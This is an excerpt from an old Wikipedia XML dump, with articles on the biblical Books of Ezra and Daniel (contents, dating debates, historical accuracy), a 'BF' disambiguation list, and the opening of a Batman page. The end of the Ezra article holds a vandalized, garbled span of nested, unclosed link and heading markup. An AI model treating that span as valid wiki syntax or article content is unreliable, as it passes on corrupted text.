      <text xml:space="preserve">{{Books of the Old Testament}}
{{Books of Ketuvim}}
The '''Book of Ezra''' is a book of the [[Bible]] in the [[Old Testament]] and [[Hebrew language|Hebrew]] [[Tanakh]].  This book is the record of events occurring at the close of the [[Babylonian captivity]]. At one time, it included the [[book of Nehemiah]], the [[Jew]]s regarding them as one volume. The two are still distinguished in the [[Vulgate]] version as I and II Esdras. It consists of two principal divisions:
#The history of the first return of exiles, in the first year of [[Cyrus the Great]] ([[536 BC]]), till the completion and dedication of the new [[Temple in Jerusalem|temple]], in the sixth year of [[Darius I of Persia|Darius Hystapes]] ([[515 BC]]), ch. 1-6. From the close of the sixth to the opening of the seventh chapter there is a blank in the history of about sixty years.
#The history of the second return under [[Ezra]], in the seventh year of [[Artaxerxes I|Artaxerxes Longimanus]], and of the events that took place at [[Jerusalem]] after Ezra's arrival there (7-10).

The book thus contains memorabilia connected with the Jews, from the decree of Cyrus to the reformation by Ezra ([[456 BC]]), extending over a period of about eighty years. Several [[Aramaic]] letters are quoted in their original language, while the rest of the book is written in [[Hebrew language|Hebrew]].

There is no quotation from this book in the [[New Testament]].

In the [[King James Version of the Bible|King James Bible]], Ezra 7:21 contains every letter of the alphabet except J.

Ezra was probably the author of this book, at least of the greater part of it (comp. 7:27, 28; 8:1, etc.), as he was also of the [[Books of Chronicles]], the close of which forms the opening passage of ''Ezra''. Some authors think that the historical order of events in both Ezra and Nehemiah has become jumbled, from which they conclude that at least the final arrangement and revision of their text must have occurred at a later period.

There are two more books going by the name &quot;Book of Ezra&quot;, or &quot;Book of Esdras&quot;. These are found in the [[Apocrypha]] of the Bible; see there for details on their varying and complex numbering scheme.

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--[[User:71.106.143.223|71.106.143.223]] 02:37, 2 March 2006 (UTC)&lt;nowiki&gt;&lt;math&gt;[[Media:[[Media:[[Image:
== [[[''[[[
== [[Media:'''''''''==External links==
*[[Judaism|Jewish]] translations:
** [http://www.chabad.org/library/archive/LibraryArchive2.asp?AID=15774 Ezra (Judaica Press)] translation with [[Rashi]]'s commentary at Chabad.org  

*[[Christian]] translations:
** [http://www.anova.org/sev/htm/hb/15_ezra.htm ''Ezra'' at The Great Books] (New Revised Standard Version)
** {{biblegateway||Ezra}}
** [http://wikisource.org/wiki/Bible%2C_English%2C_King_James%2C_Ezra 


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{{eastons}}'''Bold text'''

[[Category:Ketuvim|Ezra, Book of]]
[[Category:Old Testament books|Ezra]]

[[de:Buch Esra]]
[[fr:Livre d'Esdras]]
[[ko:에즈라]]
[[it:Ezra]]
[[nl:Ezra]]
[[ja:エズラ記]]
[[pt:Esdras]]
[[fi:Esran kirja]]
[[sv:Esra]]
[[zh:以斯拉記]]''''''''']] ==]]]'']]] ==]]]]]]&lt;/math&gt;&lt;/nowiki&gt;</text>
    </revision>
  </page>
  <page>
    <title>Book of Daniel</title>
    <id>4333</id>
    <revision>
      <id>41806341</id>
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      <contributor>
        <username>Codex Sinaiticus</username>
        <id>247981</id>
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      <minor />
      <comment>'is comprised of' is correct, or 'comprises', but not 'comprises of'</comment>
      <text xml:space="preserve">:''This article is about the Biblical book. For the novel by [[E. L. Doctorow]], see [[The Book of Daniel (novel)]]. For the [[NBC]] show, see [[The Book of Daniel (television)]].''
{{Books of the Old Testament}}
{{Books of Ketuvim}}
The '''Book of Daniel''', written in [[Hebrew language|Hebrew]] and [[Aramaic language|Aramaic]], is a book in both the Hebrew Bible ([[Tanakh]]) and the Christian [[Old Testament]].  The book is set during the [[Babylonian Captivity]], a period when Jews were deported and exiled to [[Babylon]].  The book revolves around the figure of [[Daniel]], an Israelite who becomes an advisor to [[Nebuchadrezzar II|Nebuchadnezzar]], the ruler of Babylon from [[605 BC]] - [[562 BC]].  

The book has two distinct parts: a series of narratives and four apocalyptic visions.  Three of the narratives involve Daniel, who has the gift of prophecy, interpreting the meaning of dreams and divine omens.  Two other narratives feature Israelites who have been condemned for their piety being miraculously saved from execution.  In the second part of the book, the author reveals and partially interprets a set of visions which are described in the [[Grammatical person|first person]].

The dating and authorship of Daniel has been a matter of great debate.  The traditional view holds that the work was written by a prophet named Daniel who lived during the 6th century BC.  In contrast, modern scholarly views generally regard the book as having been written much later, during the mid-2nd century BC.  According to this view, the author gave the book the appearance of having been written some 400 years earlier in order to establish credibility by including correct &quot;predictions&quot; of numerous historical events which had occurred during the 5th-2nd centuries BC.  A third view argues that while parts of Daniel were written during the 2nd century BC,  other parts may have been written by other authors at an earlier date.

== Narratives in Daniel ==
The first part, consisting of the first six chapters, is comprised of a series of lightly connected court tales, connected instructive narratives, or miracle tales. The first story is in Hebrew; then Aramaic is used from ch. 2:4, beginning with the speech of the &quot;[[Chaldea]]ns&quot; through chapter seven. Hebrew is then used from chapter eight through chapter twelve. Three sections are preserved only in the [[Septuagint]], and are considered [[apocrypha|apocryphal]] by Protestant Christians and Jews, and [[deuterocanonical books|deuterocanonical]] by Catholic and Orthodox Christians.

#Daniel refuses to eat meat at court
#Nebuchadnezzar dreams of an [[Nebuchadnezzar's statue vision in Daniel 2|idol of four metals]] with feet of mixed iron and clay, which Daniel interprets as four successive empires (compare [[Fifth Monarchy Men|Fifth Monarchy]])
#The story of the [[fiery furnace]], in which Ananias (Hananiah/Shadrach), Azariah (Abednego), and Mishael (Meshach) refuse to bow to a golden idol and are thrown into a furnace; God preserves them from the flames
#Nebuchadnezzar tells of his dreams of a tall tree, and his losing and regaining his mind
#[[Belshazzar|Belshazzar's Feast]], where Daniel interprets the writing ''[[The writing on the wall|mene mene tekel upharsin]]''
#Daniel in the lions' den
#[[Susanna (Book of Daniel)|Susanna]] and the elders (apocryphal to Protestants)
#[[Bel and the Dragon]] (apocryphal to Protestants)

[[Protestant]] and [[Judaism|Jewish]] editions omit the sections that do not exist in the [[Masoretic text]]: in addition to the two chapters containing accounts of Daniel and Susanna and of Bel and the Dragon, a lengthy passage inserted into the middle of Daniel 3; this addition contains the prayer of Azariah while the three youths were in the fiery furnace, a brief account of the angel who met them in the furnace, and the hymn of praise they sang when they realized they were delivered. [[The Prayer of Azariah and Song of the Three Holy Children]] are retained in the [[Septuagint]] and in the [[Eastern Orthodoxy|Eastern Orthodox]], [[Oriental Orthodox]], and [[Catholic]] [[Biblical canon|canons]]; the &quot;Song of the Three Holy Youths&quot; is part of the [[Matins]] service in Orthodoxy, and of [[Lauds]] on Sundays and feast days in Catholicism.

The narratives are set in the period of the [[Babylonian captivity]], first at the court of [[Nebuchadnezzar II of Babylon|Nebuchadnezzar]] and later at the court of his successors [[Belshazzar]] and a 'King Darius' of unclear identity (see 'Historical Accuracy' and 'Date' below). Daniel is praised in ''Easton's Bible Dictionary'', 1897, as &quot;the historian of the Captivity, the writer who alone furnishes any series of events for that dark and dismal period during which the harp of Israel hung on the trees that grew by the Euphrates. His narrative may be said in general to intervene between Kings and [[Books of Chronicles|Chronicles]] on the one hand and [[Ezra]] on the other, or (more strictly) to fill out the sketch which the author of the Chronicles gives in a single verse in his last chapter: 'And them that had escaped from the sword carried he (i.e., Nebuchadnezzar) away to Babylon; where they were servants to him and his sons until the reign of the kingdom of Persia' (2 Chr. 36:20).&quot;

Daniel appears as an interpreter of dreams and visions in these narratives, though not as a prophet.

==Apocalyptic visions in ''Daniel''==
The second part, the remaining six chapters, are visionary, an early example of [[apocalyptic literature]], in which the author, now speaking in the first person, reveals a vision entrusted to him alone. The historical setting of the first chapters does not appear, except in briefest form, consisting of regnal dates. This section too consists of text from two languages, part (to 7:28) written in Aramaic, the rest (chapters 8-12) in Hebrew. The apocalyptic part of ''Daniel'' consists of three visions and one lengthened prophetic communication, mainly having to do with the destiny of Israel:

# The vision in the first year of [[Belshazzar]] the king of [[Babylon]] (7:1) concerning four great beasts (7:3) representing four future kings (7:17) or kingdoms (7:23), the fourth of which devours the whole earth, treading it down and crushing it (7:23); this fourth kingdom produces ten kings, and then a special, eleventh person arises out of the fourth kingdom that subdues three of the ten kings (7:24), speaks against the Most High and the saints of the Most High, and intends to change the times and the law (7:25); after a time and times and half a time (three and a half years), this person is judged and his dominion is taken away (7:26); then, the kingdom and the dominion and the greatness of the kingdoms under the whole heaven are given to the people of the saints of the Most High (7:27)
# The vision in the third year of Belshazzar concerning a [[Domestic sheep|ram]] and a male [[goat]] (8:1-27); Daniel interprets the goat as the &quot;kingdom of Yawan&quot; that is, the Hellenistic kingdom (8:21)
# The vision in first year of [[Darius I|Darius]] the son of [[Xerxes I of Persia|Ahasuerus]] (9:1) concerning [[Prophecy of Seventy Weeks|seventy weeks]], or seventy &quot;sevens&quot;, apportioned for the [[History of ancient Israel and Judah|history of the Israelites]] and  of [[Jerusalem]] (9:24)
# A lengthy vision in the third year of [[Cyrus the Great|Cyrus]] king of [[History of Persia|Persia]] (10:1 - 12:13)

The prophetic and [[eschatology|eschatological]] visions of Daniel, with those of Ezekiel and Isaiah, are the scriptural inspiration for much of the apocalyptic ideology and symbolism of the [[Qumran]] community's [[Dead Sea scrolls]] and the early literature of Christianity. &quot;Daniel's clear association with the Maccabean Uprising in Palestine was undoubtedly one of the reasons why the Rabbis, following the uprisings against Rome, downgraded it from its position among the 'Prophets'&quot; (Eisenman 1997, p 19f).

In Daniel are the first references to a &quot;kingdom of God&quot;, and the most overt reference to the resurrection of the dead in the Tanakh.

==Historical accuracy==
Certain statements in Daniel are considered to be in conflict with known history. This is one reason why modern historians of Babylonia or [[Achaemenid Dynasty|Achaemenid Persia]] do not adduce the narratives of ''Daniel'' as source materials. Other reasons for reservations are given in ''Dating'' below.

The four objections given below represent, in order of significance, the major instances of error  historians generally find in Daniel.

===&quot;Darius the Mede&quot;===
According to H.H. Rowley in ''Darius the Mede and the Four World Empires in the Book of Daniel'', &quot;[t]he references to Darius the Mede in the book of Daniel have long been recognized as providing the most serious historical problems in the book.&quot;

Rowley refers to the personage whom Daniel describes as taking control of Babylon after Belshazzar is deposed. Daniel describes this personage as ''Darius the Mede,'' who rules over Babylon in chapters 6 and 9. Daniel reports that Darius was 'about 62 years old' when he was 'made king over Babylon'

Historians have criticized this account for three reasons. First, no secular history speaks of any 'Darius the Mede,' and second, the Persians at that point in history had the upper hand in their ongoing war with the [[Medes]].  Third, the contemporary history given from cuneiform documents of the period, such as the [[Cyrus Cylinder]] and the [[Babylonian Chronicle]] leave no room for any Mede occupation of Babylon before the Persians under Cyrus conquered it.

Historians such as Rowley and Burtchaell tend to posit that Daniel is mistakenly referencing [[Darius the Great]], who ruled [[Iran|Persia]] from 521-486 BC, though the Persian Darius was very young (while Daniel specifically attributes an old age to ''Darius the Mede''), and ruled many years later.

Additionally, an analysis of variant texts, particularly the Septuagint, reveals that the names &quot;Darius&quot; (DRYWS in Hebrew) and &quot;Cyrus&quot; (KRWS) are reversed in 11:1, and may have been miscopied elsewhere{{fact}}. The appellation &quot;Mede&quot; (Heb. MADAI) may have been used as an ethnic term to apply to Persians as well{{fact}}, who were of the same race. Even more curious is the fact that the opening line of &quot;Bel and the Dragon&quot; references Astyages, who was indeed the last king of the Medes before Cyrus, but a nearly identical verse is added in the Greek after the end of chapter 6, only reading &quot;Darius&quot; in place of &quot;Astyages&quot;.

===Belshazzar===
For many years Belshazzar, the Babylonian who ruled the city the night the Persians successfully besieged the city, was an enigma for historians. Daniel writes that he ruled the city and calls him the son of Nebuchadnezzar. Prior to 1854, archeologists and historians knew of no Belshazzar, let alone one that ruled the great city of Babylon. This led Ferdinand Hitzig to claim in 1850 that Belshazzar was a &quot;figment of the Jewish writer's imagination.&quot; Later evidence verified the existence of the person as well as the plausibility of his co-regency during the known absence of his father, [[Nabonidus]] (Nabuna'id).  This evidence involved the use of Belshazzar in oath formulas, his ability to pass edicts, lease farmlands, evidence that Nabonidus was in Teima the night of the siege{{fact}}, and that Belshazzar received the &quot;royal privilege&quot; to eat the food offered to the gods. However, no known extrabiblical text indicates a blood relation between Nebuchadnezzar and Belshazzar. Historians have objected to this aspect of the record in Daniel.

There were several rulers over Babylon between the death of Nebuchadnezzar and the rulership of Nabonidus/Belshazzar. Many scholars have attributed the lack of mention of these rulers as indicating the author mistakenly thought that the two rulerships were consecutive. As the editors of the ''Jewish Encyclopedia'' (1901-1906) put it, indicating the belief that Daniel was written much later (see 'Date'), &quot;during the long period of oral tradition the unimportant kings of Babylon might easily have been forgotten, and the last king, who was vanquished by Cyrus, would have been taken as the successor of the well-known Nebuchadnezzar.&quot; Based on this reasoning, historians have considered the reference to Belshazzar's relationship to Nebuchadnezzar simply an error based on the above misconception.

===Madness of Nebuchadnezzar===
A third significant objection by historians is the account of the insanity suffered by Nebuchadnezzar found in the fourth chapter of Daniel. In the [[Dead Sea Scrolls]] a fragment known as ''The Prayer of Nabonidus'' (4QPrNab) discusses a disease suffered by Nabonidus, and it is thought ([http://www.livius.org/ct-cz/cyrus_I/babylon04.html 1]) that the insanity of Nebuchadnezzar discussed by Daniel is actually evidence that an oral tradition of one strange disease was actually transmogrified through retelling into a tale mistakenly recorded by Daniel.

===Date of Nebuchadnezzar's First Siege of Jerusalem===
The Book of Daniel begins by stating:

:''In the third year of the reign of Jehoi'akim king of Judah came Nebuchadnez'zar king of Babylon unto Jerusalem, and besieged it.  And the Lord gave Jehoi'akim king of Judah into his hand, with part of the vessels of the house of God: which he carried into the land of Shinar to the house of his god; and he brought the vessels into the treasure house of his god.'' ([[King James Version]])

This appears to be a garbled description of the first siege of Jerusalem in [[597 BC]], which occurred in the 12th year of Jehoiakim and into the reign of his son Jehoiachin.  (see [[Second Book of Kings|2 Kings]] 24 and 2 Chronicles 36).  The third year of Jehoiakim (606 BC), saw Nebuchadrezzar not yet King of Babylon, and the Egyptians still dominant in the region.  Advocates of an early date of Daniel generally explain this by positing an additional, otherwise unmentioned, siege of Jerusalem in [[605 BC]], shortly after the [[Battle of Carchemish]].

==Dating==
Traditionally, the book of Daniel was believed to have been written by its namesake during and shortly after the Babylonian [[exile]] in the sixth century BC.  While most conservative Christian and Orthodox Jewish scholars still assert this as a realistic date, the consensus of liberal scholars is that [[archaeology]] and [[textual analysis]] argue for a considerably later date. 

This division is mainly one due to theology: conservative Bible scholars accept the Bible's claim that prophets can see into the future and then describe what they saw in spoken or written language. Liberal Bible scholars, who descend from the school of [[German Higher Criticism]], reject the Bible's notion that prophets can see visions of the future, that in fact Daniel had no such vision. This raises more issues than it solves. Many of the metaphors used in Daniel's visions are quite vivid, pointing to specific individuals and kingdoms. The specificity of these visions is the dividing line between the two camps. Liberal scholars must then, to get around the issue of Daniel's specificity, date the writing of the book of Daniel much later (see below) and attribute it to an unknown author who posed Daniel as the author of the book bearing his name.

Liberal scholarship on the dating of the Book of Daniel largely falls into two camps, one dating the book in its entirety to a single author during the desecration of the Jerusalem Temple (168-165 BC) under the [[Seleucid]] ruler [[Antiochus IV Epiphanes]] (ruled 175-164 BC), the other seeing it as a collection of stories dating from different times throughout the Hellenistic period (with some of the material possibly going back to the latest Persian period), with the visions in chapters 7-12 having been added during the desecration of Antiochus. John Collins finds it impossible for the &quot;court tales&quot; portion of Daniel to have been written in 2nd Century BC due to textual analysis. In his [[1992]] ''Anchor Bible Dictionary'' entry for the Book of Daniel, he states &quot;it is clear that the court-tales in chapters 1-6 were 'not written in Maccabean times'. It is not even possible to isolate a single verse which betrays an editorial insertion from that period.&quot;  Some scholars disagree with this, and still date this section to the Maccabean revolt along with the vision chapters.


===Content===
====Antiochus IV Epiphanes====
Most interpreters find that references in the ''Book of Daniel'' reflect the persecutions of Israel by [[Antiochus IV Epiphanes]] (175&amp;ndash;[[164 BC]]), and consequently date its composition to that period. In particular, the vision in Chapter 11, which focuses on a series of wars between the &quot;King of the North&quot; and the &quot;King of the South,&quot; is generally interpreted as a discussion of Near Eastern history from the time of [[Alexander the Great]] down the era of Antiochus IV, with the &quot;Kings of the North&quot; being the Seleucid kings and the &quot;Kings of the South&quot; being the Ptolemaic rulers of Egypt.  This conclusion was first drawn by the philosopher [[Porphyry of Tyros]], a third century [[paganism|pagan]] [[Neoplatonism|Neoplatonist]] whose fifteen-volume work ''Against the Christians'' is only known to us through [[Jerome]]'s reply. Jerome accepted much (but not all) of Porphyry's interpretation of the vision, but held to the traditional view of Daniel's date and held that the similarities to actual history were due to Daniel's being a true prophet, rather than to a late date for the book.  Porphyry, then, was the only known critic to doubt Daniel's early date until the 17th century. Many historians hold that the book was written to influence Jews living under Antiochus' persecution. They believe that the events described in the visions match well the events during the [[Maccabean]] era while the book errs on major points of Babylonian history.

====Four Kingdoms====
Most biblical scholars assume that the four kingdoms beginning with Nebuchadnezzar, mentioned in the &quot;[[Nebuchadnezzar's statue vision in Daniel 2|statue vision]]&quot; of chapter 2, are identical to the four &quot;end-time&quot; kingdoms of the vision in chapter 7, and usually consider them to represent (1) Babylonia, (2) Media, (3) Persia, and (4) Greece (Collins).  Some conservative Christians identify them as (1) Babylonia, (2) &quot;Medo-Persia,&quot; (3) Greece, and (4) Rome (e.g. Young); others have advocated the following schema: (1) the Babylonian, (2) the Medo-Persian, (3) the empire of Alexander, and (4) the rival [[Diadochi]], viz. Egypt and Syria (Lagrange).

===Language===
The final major area of debate regarding the dating of Daniel regards the language used.  The two reference points used for dating the Aramaic are the Samaria correspondence (4th century BC) and the [[Dead Sea Scrolls]] (2nd century BC-1st century AD).  According to John Collins in his 1993 commentary, ''Daniel, Hermennia Commentary'', the Aramaic in Daniel is almost universally held by scholars to be of a later form than that used in the Samaria correspondence, but is regarded by many as slightly earlier than the form used in the Dead Sea Scrolls.  Consequently the Aramaic tales in chapters 2-6 are held by some to have been written earlier in the Hellenistic period than the rest of the book, with the vision in chapter 7 being the only Aramaic portion dating to the time of Antiochus.  The Hebrew in the book is, for all intents and purposes, identical to that found in the Dead Sea Scrolls, suggesting a 2nd century BC date for the Hebrew portions of the book (chapters 1 and 8-12).  [http://www.infidels.org/library/magazines/tsr/2001/3/013mail.html 2]

====Loan Words====
There are 3 Greek words used within the text which have long been considered evidence for a late dating of Daniel.  All three Greek words are used for musical instruments. The existence of the Greek word 'symphonia' was cited by Rowlings as having its earliest use in second century BC, but modern scholarship now knows its use much earlier, both in the sense of a specific instrument and as a term referring to a group of instruments playing in unison.  Pythagoras used the term to denote an instrument in 6th century BC, while its use to refer to a group performing together is found in the sixth century BC 'Hymni Homerica, ad Mercurium 51'  Despite their early use in Greek however, there is no evidence for the use of these instruments in Mesopotamia in the Neo-Babylonian period where they are said to be used in Daniel, and their mention in the book is generally taken as an anachronism.

There are also 19 Persian loan-words in the book, most of them having to do with governmental positions.

====Use of the word 'Chaldeans'====
The book of Daniel uses the term &quot;[[Chaldea]]n&quot; to refer both to a Babylonian ethnic group and to astrologers in general.  According to Montgomery and Hammer, Daniel's use of the word 'Chaldean' to refer to astrologers in general is an anachronism, as during the Neo-Babylonian and early Persian periods when Daniel is said to have lived it referred only to an ethnicity. Compare the later [[Chaldean Oracles]].

==Unity of Daniel==
The scholarship concerning the question of unity in Daniel differs greatly from the scholarship concerning the dating. Whereas almost all scholars conclude a 2nd century dating of the book in its final form, scholarship varies greatly regarding the unity of Daniel. Many scholars, finding portions of the book dealing with themes they do not believe fit with the time of Antiochus, conclude separate authors for different portions of the book. Included in this group are Barton, L. Berthold, Collins, and H. L. Ginsberg. Some historians who support that the book was a unified whole include J.A. Montgomery, S.R. Driver, R. H. Pfeiffer, and H.H. Rowling in the latter's aptly titled treatise ''The Unity of the Book of Daniel''

Those who hold to a unified Daniel claim that their opponents fail to find any consensus in their various theories of where divisions exist. Montgomery is particularly harsh to his colleagues, stating that the proliferation of theories without agreement showed a &quot;bankruptcy of criticism.&quot;  They also charge that composite theories fail to account for the consistent thematic portrayal of Daniel's life throughout the book of Daniel.

==Christian uses of ''Daniel''==
As mentioned above, the prayer of Azariah and the Song of the Three Children from the [[deuterocanon]]ical parts of ''Daniel'' are widely used in Orthodox and Catholic prayer.

The various episodes in the first half of the book are used by Christians as moral stories, and are often seen to foreshadow events in the [[gospel]]s.

The apocalyptic section is primarily important to Christians for the image of the &quot;Son of Man&quot; (Dan. 7:13). According to the gospels, [[Jesus]] used this title as his preferred name for himself. The connection with Daniel's vision (as opposed to the usage in the [[Book of Ezekiel]]) is made explicit in the Gospels of [[Gospel of Matthew|Matthew]] and [[Gospel of Mark|Mark]] (Matt 27:64; Mk 14:62). Christians see this as a direct claim by Jesus that he is the [[Messiah]].

==Influence of Daniel==
Due to the specificity of its prophecy and its place in both the Jewish and Christian canons, the book of Daniel has had great influence in Jewish and Christian history.

The Book of Daniel is included in the Hebrew Bible, the [[Tanakh]], in the section known as the ''[[Ketuvim]]'' (''Hagiographa'', or the &quot;Writings&quot;) .  Daniel was considered a prophet at [[Qumran]] (4Q174 [4QFlorilegium]&lt;!--opaque to the average reader--&gt;) and later by [[Josephus]] (''Antiquity of the Jews'' 10.11.7 §266) and the author (the &quot;[[Pseudo-Philo]]&quot;) of ''Liber antiquitatum biblicarum'' (L.A.B. [&quot;Book of Biblical antiquities&quot;] 4.6, 8), and was grouped among the prophets in the [[Septuagint]], the Jewish Greek Old Testament, and by Christians, who place the book among the prophets.  However, ''Daniel'' is not currently included by the Jews in the section of the prophets, the [[Nebiim]].

The Jewish exegete Rabbi Moses Ben Maimon, sometimes called simply RaMBaM and later called [[Maimonides]], was so concerned that the &quot;untutored populace would be led astray&quot; if they attempted to calculate the timing of the Messiah  that it was decreed that &quot;Cursed be those who predict the end times.&quot; This verbiage can be both found in his letter [[IGERET TEIMAN]] and in his booklet ''The Statutes and Wars of the Messiah-King.''

Rabbi [[Judah Loew ben Bezalel]] lamented that the times for the fulfillment of the prophecy of Daniel &quot;were over long ago&quot; (Sanhedrin 98b, 97a).

Traditional Christians have embraced the prophecies of Daniel, as they believe they clearly illustrate that Jesus Christ of Nazareth must be the [[Messiah]], and also because in [[Gospel of Matthew|Matthew]] 24 Jesus himself is quoted as describing Daniel's prophecies as applying to future events immediately preceding Judgement Day, and not to Epiphanes who had lived some 175 years earlier. They consider the [[Prophecy of Seventy Weeks]] to be particularly compelling due to what they interpret to be prophetic accuracy.  Many Orthodox Jews believe that the prophecy refers to the destruction of the [[Second Temple]] by the Romans in 70 AD.  Secular scholars however, believe that the prophecy better fits the reign of Antiochus, and that it is an example of ''[[vaticinium ex eventu]]'' (prophecy after the fact).

Medieval study of [[angel]]s was also affected by this book, as it is the only Old Testament source for the names of two of the [[archangel]]s, [[Gabriel (archangel)|Gabriel]] and [[Michael (archangel)|Michael]] (Dan 9:21; 12:1). The only other angel given a name in the Old Testament is [[Raphael (archangel)|Raphael]], mentioned in the deuterocanoncial [[Book of Tobit]].

==Traditional tomb sites of Daniel==
A [[tomb]] said to be the last resting place of the prophet Daniel is located in the [[Kirkuk Citadel]] in the city of [[Kirkuk]] in [[Iraq]]. There is a [[mosque]] built on the tomb, the mosque has [[arches]] and [[pillars]] and two [[domes]] on a decorated base and beside it there are three [[minarets]] belonging to the end of the [[Mongolian]] reign. The mosque is about 400 square meters, it has four illusions tombs of Daniel, [[Hannah]], [[Ezra]] and [[Michael]].
Another tomb in [[Susa]], [[Iran]], also claims to be that of Daniel.

==See also==
* [[Book of Revelation]]
* [[Apocalypse]]
* [[Biblical archaeology]] (reference to [[Nabonidus]] cylinder)
* [[Christian eschatology]]
* [[Summary of Christian eschatology]]

==External links==
*[[Judaism|Jewish]] translations:
** [http://www.chabad.org/library/archive/LibraryArchive2.asp?AID=15773 Daniel (Judaica Press)] translation with [[Rashi]]'s commentary at Chabad.org

*[[Christian]] translations:
** [http://www.anova.org/sev/htm/hb/27_daniel.htm ''Daniel'' at The Great Books] (New Revised Standard Version)
** {{biblegateway||Daniel}}
** [http://en.wikisource.org/wiki/Bible%2C_King_James%2C_Daniel ''Daniel'' at Wikisource] (Authorised King James Version)
** [http://st-takla.org/pub_Deuterocanon/Deuterocanon-Apocrypha_El-Asfar_El-Kanoneya_El-Tanya__7-Daniel.html The Book of Daniel] (Full text from [http://www.st-takla.org St-Takla.org], also available in [http://st-takla.org/pub_Deuterocanon/Deuterocanon-Apocrypha_El-Asfar_El-Kanoneya_El-Tanya__7-Daniel_.html Arabic])

'''Related Articles''':
*[http://www.jewishencyclopedia.com/view.jsp?artid=34&amp;letter=D ''Jewish Encyclopedia'':] Daniel
* [http://www.infidels.org/library/magazines/tsr/1996/4/4danie96.html Daniel in the Historians' Den] - An analysis of the book's origins, from a skeptical perspective.
*[http://www.ministrybooks.org/books.asp?id=375&amp;chapterid=1&amp;sectionid=1&amp;pageid=1 Life-Study of ''Daniel''] - online study of the Book of Daniel, from a Christian perspective
*[http://www.kolumbus.fi/hjussila/rsla/OT/OT12.html A discussion of Jewish beliefs about the Messiah]
*[http://www.tektonics.org/af/danieldefense.html Book of Daniel Defended] A summary of conservative answers to objections to Daniel's historicity.
*[http://www.apologeticspress.org/rr/reprints/Linguistic-Argument-for-the-Dat.pdf &quot;The Linguistic Argument for the Date of Daniel&quot;] by W.D. Jeffcoat, M.A. ([[PDF]]), from a conservative Christian perspective
*[http://www.biblequery.org/dan.htm Historical Questions About Daniel] - A Q&amp;A format defense of Daniel's early dating.
*[http://www.2think.org/hundredsheep/bible/comment/daniel.shtml Revealing Daniel] - Skeptical analysis of the book.
*[http://www.myjewishlearning.com/texts/bible/TO_Writings_2140/BickermanDaniel.htm Daniel: Wise Man and Visionary, by Elias Bickerman]
* [http://www.biblicalstudies.org.uk/article_daniel.html ''Daniel'' by Rob Bradshaw] Detailed dictionary-style article.

==References==
*E. J. Bickerman, ''Four Strange Books of the Bible'', 1967. ISBN 0805207740.
**A standard analysis.
*[[Robert Eisenman]], ''James the Brother of Jesus'', 1997. ISBN 014025773X.
**&quot;Eisenman here sets out a fascinating and controversial theory that puts St. James at the center of the story as the heir to Jesus' teachings.&quot;
*John F. Walvoord, ''Daniel: The Key to Prophetic Revelation'', 1989. ISBN 0802417531.
**&quot;A detailed, systematic analysis of the Book of Daniel with emphasis on studying and refuting nonbiblical views.&quot;
*[http://www.tektonics.org/guest/danielblast.html The Date of Daniel]
**A conservative rebuttal to secular viewpoints on the dating of Daniel.
*[http://www.atheists.org/christianity/daniel.html Daniel in the Debunkers Den]
**An atheists viewpoint of errors in Daniel.
*[http://www.infidels.org/library/magazines/tsr/1998/6/986lions.html Lion 1 Daniel 0]
**One of several articles on attacking a conservative viewpoint.
*[http://www.biblicalstudies.org.uk/book_daniel.html D.J. Wiseman, T.C. Mitchell &amp; R. Joyce, W.J. Martin &amp; K.A. Kitchen, ''Notes on Some Problems in the Book of Daniel''. London: The Tyndale Press, 1965.] 
**A symposium of Daniel by conservative scholars.


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[[Category:Christian eschatology|Daniel, Book of]]
[[Category:Deuterocanonical books|Daniel (parts)]]
[[Category:Ketuvim|Daniel, Book of]]
[[Category:Old Testament books|Daniel]]

[[cs:Kniha Daniel]]
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[[ja:ダニエル書]]
[[nl:Het boek Daniël]]
[[pl:Księga Daniela]]
[[pt:Livro de Daniel]]
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[[zh:但以理書]]</text>
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  <page>
    <title>BF</title>
    <id>4334</id>
    <revision>
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      <timestamp>2006-02-28T15:07:34Z</timestamp>
      <contributor>
        <username>Kbdank71</username>
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      <comment>per [[WP:CFD]] [[Wikipedia:Categories for deletion/Log/2006 February 20|Feb 20]] using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">'''BF''' can be short for:

* [[Aero-Service]] IATA code
* [[Bahamas]], obsolete [[List of NATO country codes|NATO]] [[country code]]
* [[Battlefield 1942]] An online multiplayer World War 2 Game
* [[Front (military)|Battlefront]], a military term
* [[Best friend]] (internet slang)
* [[GM Daewoo BF|BF]], the name of a series of buses manufactured by [[GM Daewoo]]. &lt;!--**** IF CREATING ARTICLE FOR THIS ENTRY, PLEASE CHECK THAT THERE IS NOT ALREADY ONE. IF A GOOD ONE EXISTS ALREADY, CHANGE THE LINK TO POINT TO THAT *****--&gt;
* [[Bigfoot]]
* [[Black flag]]
* [[Bluebird Cargo]] IATA code
* [[Bongo Frontier]], a [[RV]] in [[pickup truck]] built by [[Kia Motors]].
* [[Boyfriend]]
* [[Brainfuck]] (a programming language)
* [[Burkina Faso]], 2-letter [[List of ISO country codes|ISO]] [[country code]] 
*[[Star Wars: Battlefront]], a game.

'''''See also: [[.bf]]''' (the [[ccTLD]] for Burkina Faso).''

{{2CC}}

[[de:BF]]
[[eo:Bf]]
[[fr:BF]]
[[ja:BF]]
[[ko:BF]]
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  <page>
    <title>Batman</title>
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        <username>InShaneee</username>
        <id>132185</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/69.139.46.32|69.139.46.32]] ([[User talk:69.139.46.32|talk]]) to last version by 200.50.55.231</comment>
      <text xml:space="preserve">{{otheruses}}
{{Superherobox
|image= [[Image:batmanlee.png|250px]] 
|caption=From ''Batman'' #608&lt;br&gt;Art by [[Jim Lee]].
|comic_color= background: #8080ff
|character_name=Batman
|real_name=Bruce Wayne
|publisher=[[DC Comics]]
|debut= ''[[Detective Comics]]'' #27
|creators=[[Bob Kane]]&lt;br&gt;[[Bill Finger]] (uncredited)
|alliance_color=background: #ffc0c0
|status=Active
|alliances=[[Batman family]], including [[Alfred Pennyworth]], [[Nightwing]], [[Tim Drake|Robin]], [[Onyx (disambiguation)|Onyx]] and [[Huntress (comics)|Huntress]];  [[Superman]]
|previous_alliances=[[James Gordon (comics)|James Gordon]], [[Barbara Gordon|Oracle]], [[Jason Todd]], [[Catwoman]], [[Cassandra Cain|Batgirl]], [[Azrael (comics)|Azrael]], [[Spoiler (comics)|Spoiler]], [[Orpheus (comics)|Orpheus]], [[Outsiders (comics)|Outsiders]], [[Justice League]]; [[Justice Society of America]] ([[Multiverse (DC Comics)#Earth-Two|Earth-Two]] continuity), [[All-Star Squadron]] ([[Multiverse (DC Comics)#Earth-Two|Earth-Two]] continuity)
